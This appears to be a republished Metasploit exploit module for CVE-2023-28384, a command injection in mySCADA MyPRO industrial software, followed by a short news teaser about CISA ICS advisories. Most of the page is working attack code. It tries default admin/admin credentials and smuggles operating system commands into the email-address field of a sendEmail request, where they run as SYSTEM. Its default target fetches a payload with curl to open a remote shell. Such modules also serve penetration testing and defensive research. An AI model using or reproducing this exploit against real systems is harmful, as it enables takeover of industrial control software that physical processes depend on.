Headline
mySCADA MyPRO Authenticated Command Injection
An authenticated command injection vulnerability exists in MyPRO versions 8.28.0 and below from mySCADA. The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM.
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)', 'Description' => %q{ Authenticated Command Injection in MyPRO <= v8.28.0 from mySCADA. The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module 'References' => [ [ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06'], [ 'CVE', '2023-28384'] ], 'DisclosureDate' => '2022-09-22', 'Platform' => 'win', 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Windows_Fetch', { 'Arch' => [ ARCH_CMD ], 'Platform' => 'win', 'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' }, 'Type' => :win_fetch } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new( 'USERNAME', [ true, 'The username to authenticate with (default: admin)', 'admin' ] ), OptString.new( 'PASSWORD', [ true, 'The password to authenticate with (default: admin)', 'admin' ] ), OptString.new( 'TARGETURI', [ true, 'The URI for the MyPRO web interface', '/' ] ) ] ) end # Determine if the MyPRO instance runs a vulnerable version def check begin res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'l.fcgi'), 'vars_post' => { 't' => '98' } }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError return CheckCode::Unknown end if res && res.code == 200 data = res.get_json_document version = data['V'] if version.nil? return CheckCode::Unknown else vprint_status('Version retrieved: ' + version) end if Rex::Version.new(version) <= Rex::Version.new('8.28') return CheckCode::Appears else return CheckCode::Safe end else return CheckCode::Unknown end end def exploit execute_command(payload.encoded) end def execute_command(cmd) print_status('Checking credentials...') check_auth print_status('Sending command injection...') exec_mypro(cmd) print_status('Exploit finished, check thy shell.') end # Check if credentials are working def check_auth res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'sss2'), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) } }) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end case res.code when 200 print_good('Credentials are working.') when 401 fail_with(Failure::NoAccess, 'Unauthorized access. Are your credentials correct?') else fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') end end # Send command injection def exec_mypro(cmd) post_data = { 'type' => 'sendEmail', 'addr' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com\"&&#{cmd}" } post_json = JSON.generate(post_data) res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/json', 'data' => post_json, 'uri' => normalize_uri(target_uri.path, 'sss2'), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) } }) # We don't fail if no response is received, as the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response. if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. print_good('Command successfully executed, check your shell.') end endend
Related news
CISA Warns of Critical ICS Flaws in Hitachi, mySCADA, ICL, and Nexx Products
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has published eight Industrial Control Systems (ICS) advisories warning of critical flaws affecting products from Hitachi Energy, mySCADA Technologies, Industrial Control Links, and Nexx. Topping the list is CVE-2022-3682 (CVSS score: 9.9), impacting Hitachi Energy's MicroSCADA System Data Manager SDM600 that could allow an